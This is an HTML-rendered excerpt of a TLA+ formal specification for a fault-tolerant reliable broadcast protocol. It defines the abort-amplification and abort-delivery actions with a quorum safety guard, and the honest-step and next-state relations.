&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;434&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;A2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ABORT&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;AMPLIFY&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;435&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Upon&lt;/span&gt; &lt;span class="n"&gt;receiving&lt;/span&gt; &lt;span class="n"&gt;Qa&lt;/span&gt; &lt;span class="n"&gt;ABORTs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;ABORT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;436&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;AbortAmplify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;437&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;FALSE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;438&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;439&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;440&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;AbortCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;Qa&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;441&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_abort EXCEPT ![self] = TRUE]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;442&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;recv_vars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;443&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;444&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;A3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DELIVER&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ON&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ABORT&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;445&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Upon&lt;/span&gt; &lt;span class="n"&gt;receiving&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt; &lt;span class="n"&gt;ABORTs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;deliver&lt;/span&gt; &lt;span class="err"&gt;⊥&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;446&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;DeliverOnAbort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;447&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;448&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;449&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;AbortCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;450&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Coverage&lt;/span&gt; &lt;span class="n"&gt;guard&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;must&lt;/span&gt; &lt;span class="n"&gt;hear&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;enough&lt;/span&gt; &lt;span class="n"&gt;distinct&lt;/span&gt; &lt;span class="n"&gt;parties&lt;/span&gt; &lt;span class="n"&gt;before&lt;/span&gt; &lt;span class="n"&gt;deciding&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;451&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Without&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NoValueCouldHaveWon&lt;/span&gt; &lt;span class="n"&gt;passes&lt;/span&gt; &lt;span class="n"&gt;trivially&lt;/span&gt; &lt;span class="n"&gt;when&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;readies&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;flight&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;452&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;TotalReadys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;453&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ABORT&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;SAFETY&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;GUARD&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;454&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Block&lt;/span&gt; &lt;span class="err"&gt;⊥&lt;/span&gt; &lt;span class="n"&gt;delivery&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;any&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="n"&gt;might&lt;/span&gt; &lt;span class="n"&gt;have&lt;/span&gt; &lt;span class="n"&gt;reached&lt;/span&gt; &lt;span class="n"&gt;quorum&lt;/span&gt; &lt;span class="n"&gt;elsewhere&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;455&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;If&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="n"&gt;got&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt; &lt;span class="n"&gt;readies&lt;/span&gt; &lt;span class="n"&gt;globally&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="n"&gt;least&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;456&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Having&lt;/span&gt; &lt;span class="n"&gt;heard&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt; &lt;span class="n"&gt;processes&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;pigeonhole&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;457&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;overlap&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;458&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;So&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;d see at least Q-2F readies for v locally.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;459&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;ReadyQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;460&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [delivered EXCEPT ![self] = Bottom]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;461&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;FALSE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;462&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_abort EXCEPT ![self] = TRUE]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;463&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;464&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Note&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;precondition&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;ready&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="n"&gt;logic&lt;/span&gt; &lt;span class="n"&gt;needed&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;465&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;recv_vars&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;466&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;467&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HonestStep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;468&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;SendEcho&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;469&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;ReadyOnEchoQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;470&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;ReadyOnTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;471&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;ReadyAmplifyValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;472&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;ReadyAmplifyBottom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;473&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;OptimisticDeliver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;474&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;DeliverOnReadyValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;475&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;DeliverOnReadyBottom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;476&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;SendAbort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;477&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;AbortAmplify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;478&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;DeliverOnAbort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;479&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;480&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;481&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Specification&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;482&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;483&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Terminated&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;484&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;485&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Done&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Terminated&lt;/span&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="n"&gt;vars&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;486&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;487&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Next&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;488&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;HonestStep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;489&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Receive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;490&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="n"&gt;actions&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;nondeterminism&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ReceiveXxxFromFaulty&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;491&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;Done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;492&lt;/span&gt;&lt;span class="cl"&gt;
